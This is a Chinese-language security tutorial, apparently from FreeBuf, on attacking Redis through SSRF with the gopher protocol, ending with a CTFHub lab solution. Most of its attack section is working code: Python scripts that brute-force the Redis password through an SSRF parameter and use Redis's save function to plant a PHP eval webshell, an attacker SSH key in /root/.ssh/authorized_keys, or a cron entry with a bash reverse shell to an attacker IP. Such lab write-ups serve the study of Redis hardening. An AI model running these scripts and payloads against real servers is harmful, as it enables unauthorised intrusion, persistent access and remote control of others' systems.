0x01 Redis数据库
REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), (sets) 和(sorted sets)等类型。
简单来说Redis就是一个以Key-Value形式存储数据的数据库。
Redis数据库默认端口:6379
0x02 安装Redis数据库
系统版本:Ubuntu 20.04.1 LTS
安装Redis:
apt-getinstall redis-server
修改Redis配置文件(设置密码,监听ip等):
vim /etc/redis/redis.conf
配置监听ip:
bind 127.0.0.1 ::1#只监听本地端口,如果需要远程登录可以在后面加上本机的ip,同时远程登录也可能造成未授权访问。
配置默认密码:
#requirepass foobared#默认无密码,要设置密码可以将前面的#删除,然后将foobared改为要设置的密码。
启动Redis:
/bin/redis-server /etc/redis/redis.conf
或者
service redis-server start#这种方法启动可能会造成Redis在web目录、计划任务目录、.ssh目录等其他一些目录没有写入的权限,就算是root身份启动,文件夹777权限也不行(就很迷)。如果遇到Redis在执行save时报错,就还是试试root身份第一种方法启动吧。
0x03 RESP协议
参考这篇文章:https://www.cnblogs.com/linuxsec/articles/11221756.html
Redis 服务器与客户端通过 RESP(REdis Serialization Protocol)协议通信。
RESP实际上是一个支持以下数据类型的序列化协议:Simple Strings(简单字符串),error(错误),Integer(整数),Bulk Strings(多行字符串)和 array(数组)。
客户端将命令作为 Bulk Strings 的RESP数组发送到Redis服务器。
服务器根据命令实现回复一种RESP类型。
在RESP中,某些数据的类型取决于第一个字节:
对于Simple Strings,回复的第一个字节是 +
对于error,回复的第一个字节是 –
对于Integer,回复的第一个字节是 :
对于Bulk Strings,回复的第一个字节是 $
对于array,回复的第一个字节是 *
此外,RESP能够使用稍后指定的Bulk Strings或Array的特殊变体来表示Null值。
在RESP中,协议的不同部分始终以”\r\n”(CRLF)结束。
我们来抓取一段客户端与Redis服务器的通信数据包来具体分析一下。
在linux中可以使用tcpdump来捕获数据包:
命令:tcpdump -i lo -s 0 port 6379 -w redis.pcap
参数说明:
-i指定网卡(一般指定eth0,这里抓取本地接口的流量需要指定为lo)
-s抓取数据包时默认抓取长度为68字节。加上-s 0 后可以抓到完整的数据包
port指定抓取的端口
-w保存到文件,后接保存的路径与文件名
然后我们登录客户端,这里我设置了密码,所以先认证,然后再进行set key的操作。
# redis-cli -h 127.0.0.1 -p 6379 127.0.0.1:6379> auth 123456 OK 127.0.0.1:6379> set ATL Ocean OK 127.0.0.1:6379> quit
之后我们将抓到的数据包导出,用wireshark打开,然后追踪TCP流
结合我们上面对RESP协议的解释,我们来逐行分析:
最上面4行是客户端自动请求服务器信息,服务器提示我们需要认证,我们就从我们自己发送的认证信息开始分析。
*2 #数组 长度为2
$4 #多行字符串 长度为4
auth #认证
$6 #多行字符串 长度为6
123456 #密码123456
+OK #服务器返回 普通字符串 OK,表示成功
*3 #数组 长度为3
$3 #多行字符串 长度为3
set #设置key
$3 #多行字符串 长度为3
ATL #key为ATL
$5 #多行字符串 长度为5
Ocean #velue为Ocean
+OK #服务器返回 普通字符串 OK,表示成功
那么我们设想一下如果我们直接发送这样格式的数据包能否直接对Redis进行操作呢,我们来尝试一下。我们将客户端发送的数据包进行一次url编码。
*2
$4
auth
$6
123456
*3
$3
set
$4
ATL2
$6
Ocean2
Url编码后:
*2%0D%0A%244%0D%0Aauth%0D%0A%246%0D%0A123456%0D%0A*3%0D%0A%243%0D%0Aset%0D%0A%244%0D%0AATL2%0D%0A%246%0D%0AOcean2%0D%0A
(注意将%0A替换为%0D%0A)
然后在本机利用 curl 和 gopher 协议发送给 Redis 服务器。
命令:
curl gopher://127.0.0.1:6379/_*2%0D%0A%244%0D%0Aauth%0D%0A%246%0D%0A123456%0D%0A*3%0D%0A%243%0D%0Aset%0D%0A%244%0D%0AATL2%0D%0A%246%0D%0AOcean2%0D%0A
我么可以看到,服务器给我们返回了两个+OK说明我们的命令执行成功了,我我们再直接看一下我们设置key 的值,再次验证一下。
可以看到确实是我们刚刚设置的值,再次证明了这样的方法是行的通的。那么我们不按照RESP协议的格式发送,如果直接发送命令是否可以呢,我们再试试:
这次我们就不设置key值了,我们直接获取key的值:
命令:
auth 123456
get ATL2
URL编码后:
auth%20123456%0D%0Aget%20ATL2%0D%0A
发送请求:
curl gopher://127.0.0.1:6379/_auth%20123456%0D%0Aget%20ATL2%0D%0A
我们可以看到成功返回了我们刚刚设置的key的值,说明直接发送命令的方法也是可行的。
知道了如何让Redis服务器执行我们的命令,那么接下来我们就来看如何攻击来达到 getshell 的目的。
0x04 攻击Redis
攻击Redis一般有3种思路:在web目录写webshell、在.ssh目录写公钥,我们利用私钥登录ssh、利用定时任务反弹shell。这三种方法都是利用Redis的备份功能实现的。
在攻击Redis时如果配置中设置了监听本机ip,比如192.168.x.x,或公网ip那么我们就可以直接远程访问6379端口与Redis通信了,但一般都只会监听本地端口,这时候我们就要利用到SSRF了。方法同样也很简单,只需要在有SSRF漏洞的页面将数据进行两次URL编码发送就可以了,具体方法可以看我之前的文章,这里就不多介绍了。
Redis认证攻击:
默认Redis是没有设置密码的,这时候我们可以直接访问,但是如果设置了密码,我们就要先对密码进行暴破,得到了正确的密码才能够进行进一步的攻击。
我们使用下面这个python脚本进行密码暴破,在脚本同目录下放一个文件名为password.txt的字典然后进暴破就可以了。
# -*- coding: UTF-8 -*- from urllib.parse import quote from urllib.request import Request, urlopen url = "http://192.168.48.133/ssrf.php?url=" gopher = "gopher://127.0.0.1:6379/_" def get_password(): f = open("password.txt", "r") return f.readlines() def encoder_url(cmd): urlencoder = quote(cmd).replace("%0A", "%0D%0A") return urlencoder for password in get_password(): # 攻击脚本 cmd = """ auth %s quit """ % password # 二次编码 encoder = encoder_url(encoder_url(cmd)) # 生成payload payload = url + gopher + encoder print(payload) # 发起请求 request = Request(payload) response = urlopen(request).read().decode() print("This time password is:" + password) print("Get response is:") print(response) if response.count("+OK") > 1: print("find password : " + password) exit() print("Password not found!") print("Please change the dictionary,and try again.")
这里我们随便写几个密码来示范。
可以看到,成功找到了密码。
web目录写webshell:
首先我们要知道Redis如何写入文件:
Redis 中可以导出当前数据库中的 key 和 value
并且可以通过命令配置导出路径和文件名:
config set dir /var/www/html//设置导出路径
config set dbfilename shell.php//设置导出文件名
save //执行导出操作
于是我们将随便一个key的值设为一句话木马,然后配置导出路径为web目录,导出文件名为php文件,这样执行导出命令就可以在web目录下写入webshell了。
我们将上一个脚本中获取到密码后在加上一段写入shell的脚本:
# -*- coding: UTF-8 -*- from urllib.parse import quote from urllib.request import Request, urlopen url = "http://192.168.48.133/ssrf.php?url=" gopher = "gopher://127.0.0.1:6379/_" def get_password(): f = open("password.txt", "r") return f.readlines() def encoder_url(cmd): urlencoder = quote(cmd).replace("%0A", "%0D%0A") return urlencoder ###------暴破密码,无密码可删除-------### for password in get_password(): # 攻击脚本 path = "/var/www/html/test" shell = "\\n\\n\\n<?php eval($_REQUEST['cmd']);?>\\n\\n\\n" filename = "shell.php" cmd = """ auth %s quit """ % password # 二次编码 encoder = encoder_url(encoder_url(cmd)) # 生成payload payload = url + gopher + encoder # 发起请求 print(payload) request = Request(payload) response = urlopen(request).read().decode() print("This time password is:" + password) print("Get response is:") print(response) if response.count("+OK") > 1: print("find password : " + password) #####---------------如无密码,直接从此开始执行---------------##### cmd = """ auth %s config set dir %s config set dbfilename %s set test1 "%s" save quit """ % (password, path, filename, shell) # 二次编码 encoder = encoder_url(encoder_url(cmd)) # 生成payload payload = url + gopher + encoder # 发起请求 request = Request(payload) print(payload) response = urlopen(request).read().decode() print("response is:" + response) if response.count("+OK") > 5: print("Write success!") exit() else: print("Write failed. Please check and try again") exit() #####---------------如无密码,到此处结束------------------##### print("Password not found!") print("Please change the dictionary,and try again.")
执行后成功写入,我们到web目录下看看我们写入的文件。
可以看到格式比较乱,不过由于我们在与句话木马前加了几个换行符还是能够清晰的看到我们的一句话木马。那么我们直接用蚁剑或是菜刀连接看看。
可以看到成功连接到我们的webshell。
写入公钥,利用私钥登录SSH:
写入公钥与写webshell的思路是一样的,只是改一下写入的路径、文件名以及写入的内容。
不过需要注意,这种方法需要确保靶机允许使用密钥登录。
开启方法:
需要修改 ssh 配置文件 /etc/ssh/sshd_config
#StrictModes yes
改为
StrictModes no
然后重启sshd即可
/bin/systemctl restart sshd.service
我们先直接尝试ssh登录靶机试试:
可以看到直接登录是需要输入密码的。那么我们开始攻击。
我们先在攻击机上生成一对公钥和私钥。
命令:ssh-keygen -t rsa
一路回车就可以了,然后我们进入家目录的 /.ssh 目录下,就可以看到我们生成的公钥和私钥了。
公钥内容:
sh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJE1ZQmknB9zQ1J/HixzTycZMOcXkdqu7hwGRk316cp0Fj0shkV9BbraBzyxKsJyL8bC2aHIEepGQaEQxGRoQOj2BVEmvOFCOgN76t82bS53TEE6Z4/yD3lhA7ylQBYi1Oh9qNkAfJNTm5XaQiCQBvc0xPrGgEQP1SN0UCklY/H3Y+KSpBClk+eESey68etKf+Sl+9xE/SyQCRkD84FhXwQusxxOUUJ4cj1qJiFNqDwy5zu1mLEVtMF23xnxV/WOA4L7cRCw7fqZK/LDoUJXGviF+zzrt9G9Vtrh78YZtvlVxvLDKu8aATlCVAfjtomM1x8I0Mr3tUJyoJLLBVTkMJ9TFfo0WjsqACxEYXC6v/uCAWHcALNUBm0jg/ykthSHe/JwpenbWS58Oy8KmO5GeuCE/ciQjOfI52Ojhxr0e4d9890x/296iuTa9ewn5QmpHKkr+ma2uhhbGEEPwpMkSTp8fUnoqN9T3M9WOc51r3tNSNox2ouHoHWc61gu4XKos= root@kali
然后我们将上面的脚本进行略微的改动,将写入路径设为:/root/.ssh ,写入文件名设为:authorized_keys,写入的内容就是我们生成的公钥。
path= "/root/.ssh" #路径
shell= "\\n\\n\\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJE1ZQmknB9zQ1J/HixzTycZMOcXkdqu7hwGRk316cp0Fj0shkV9BbraBzyxKsJyL8bC2aHIEepGQaEQxGRoQOj2BVEmvOFCOgN76t82bS53TEE6Z4/yD3lhA7ylQBYi1Oh9qNkAfJNTm5XaQiCQBvc0xPrGgEQP1SN0UCklY/H3Y+KSpBClk+eESey68etKf+Sl+9xE/SyQCRkD84FhXwQusxxOUUJ4cj1qJiFNqDwy5zu1mLEVtMF23xnxV/WOA4L7cRCw7fqZK/LDoUJXGviF+zzrt9G9Vtrh78YZtvlVxvLDKu8aATlCVAfjtomM1x8I0Mr3tUJyoJLLBVTkMJ9TFfo0WjsqACxEYXC6v/uCAWHcALNUBm0jg/ykthSHe/JwpenbWS58Oy8KmO5GeuCE/ciQjOfI52Ojhxr0e4d9890x/296iuTa9ewn5QmpHKkr+ma2uhhbGEEPwpMkSTp8fUnoqN9T3M9WOc51r3tNSNox2ouHoHWc61gu4XKos= root@kali\\n\\n\\n"
filename= "authorized_keys" #文件名
只修改以上三行就可以了。然后我们运行脚本
写入成功,这时候我们再尝试登录看看。
可以看到我们成功免密登录了靶机。
利用定时任务反弹shell:
关于定时任务反弹shell需要注意:
只能Centos上使用,Ubuntu上行不通,原因如下:因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/<username>权限必须是600也就是-rw——-才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/<username>权限644也能执行因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错由于系统的不同,crontrab定时文件位置也会不同Centos的定时任务文件在/var/spool/cron/<username>Ubuntu定时任务文件在/var/spool/cron/crontabs/<username>Centos和Ubuntu均存在的(需要root权限)/etc/crontab PS:高版本的redis默认启动是redis权限,故写这个文件是行不通的
由于我的靶机是Ubuntu系统,经过测试确实不能反弹shell,所以这里就演示到写入定时任务,反弹shell就无法演示了。
这里我们先了解一下linux下通过输入输出流来反弹shell:
命令:
/bin/bash -i >& /dev/tcp/[ip]/[端口] 0>&1
/bin/bash -i 表示的是调用bash命令的交互模式,并将交互模式重定向到 /dev/tcp/[ip]/[端口] 中。这里我们将ip和端口改为我们攻击机的地址和监听端口。
重定向时加入一个描述符 &,表示直接作为数据流输入。不加 & 时,重定向默认是输出到文件里的。
/dev/tcp/ip地址/端口号 是linux下的特殊文件,表示对这个地址端口进行tcp连接
这里我们设置成攻击机监听的地址
最后面的 0>&1 。此时攻击机和靶机已经建立好了连接,当攻击机进行输入时,就是这里的 0(标准输入)
通过重定向符,重定向到 1(标准输出)中,由于是作为 /bin/bash 的标准输入,所以就执行了系统命令了。
我们来执行一下试试:
我们先在攻击机上监听1234端口:
然后在靶机上执行 /bin/bash -i >& /dev/tcp/192.168.48.129/1234 0>&1
这时候再看我们的攻击机:
可以看到成功反弹到了shell,并且可以正常执行命令。
接下来我们尝试写入定时任务。
path = "/var/spool/cron/crontabs" #路径 shell = "\\n\\n\\n* * * * * bash -i >& /dev/tcp/192.168.48.129/1234 0>&1\\n\\n\\n" filename = "root" #文件名
同样修改以上三行,然后执行。
可以看到提示我们写入成功,我们再到靶机目录下确认一下。
可以看到确实写入成功了,使用crontable命令查看root用户的定时任务也可以看到我们写入的内容。
但是由于系统以及权限的原因没办法执行定时任务,有兴趣的朋友可以尝试在CentOS中尝试一下。我这边环境配置到头秃就不再试了。
0x05 CTFHub-SSRF-Redis协议
本地环境都已经尝试过了我们就在尝试一下在线的环境,还是使用CTFHub中技能树的环境。
打开环境后页面空白,但是在URL中看到了 ?url= 按照之前做题的情况来看一看就存在SSRF,那么我们就直接用我们之前的脚本来打。
利用我们之前写webshell的脚本,只需要修改第五行的url就好。
运行后发现,服务器告诉我们没有设置密码,那就更简单了,修改一下脚本:
# -*- coding: UTF-8 -*- from urllib.parse import quote from urllib.request import Request, urlopen url = "http://challenge-b15f0eaddbb74bdf.sandbox.ctfhub.com:10080/?url=" gopher = "gopher://127.0.0.1:6379/_" def encoder_url(cmd): urlencoder = quote(cmd).replace("%0A", "%0D%0A") return urlencoder path = "/var/www/html" shell = "\\n\\n\\n<?php eval($_REQUEST['cmd']);?>\\n\\n\\n" filename = "shell.php" cmd = """ config set dir %s config set dbfilename %s set test1 "%s" save quit """ % (path, filename, shell) # 二次编码 encoder = encoder_url(encoder_url(cmd)) # 生成payload payload = url + gopher + encoder # 发起请求 request = Request(payload) print(payload) response = urlopen(request).read().decode() print("response is:" + response) if response.count("+OK") > 4: print("Write success!") exit() else: print("Write failed. Please check and try again") exit()
再次运行
成功写入,然后我们就直接用蚁剑连接一下。
成功拿到flag。
参考文章:
https://www.cnblogs.com/linuxsec/articles/11221756.html
https://www.cnblogs.com/zzjdbk/p/12970519.html
https://www.freebuf.com/articles/web/242692.html
来源:freebuf.com 2021-02-13 09:10:37 by: ATL安全团队
请登录后发表评论
注册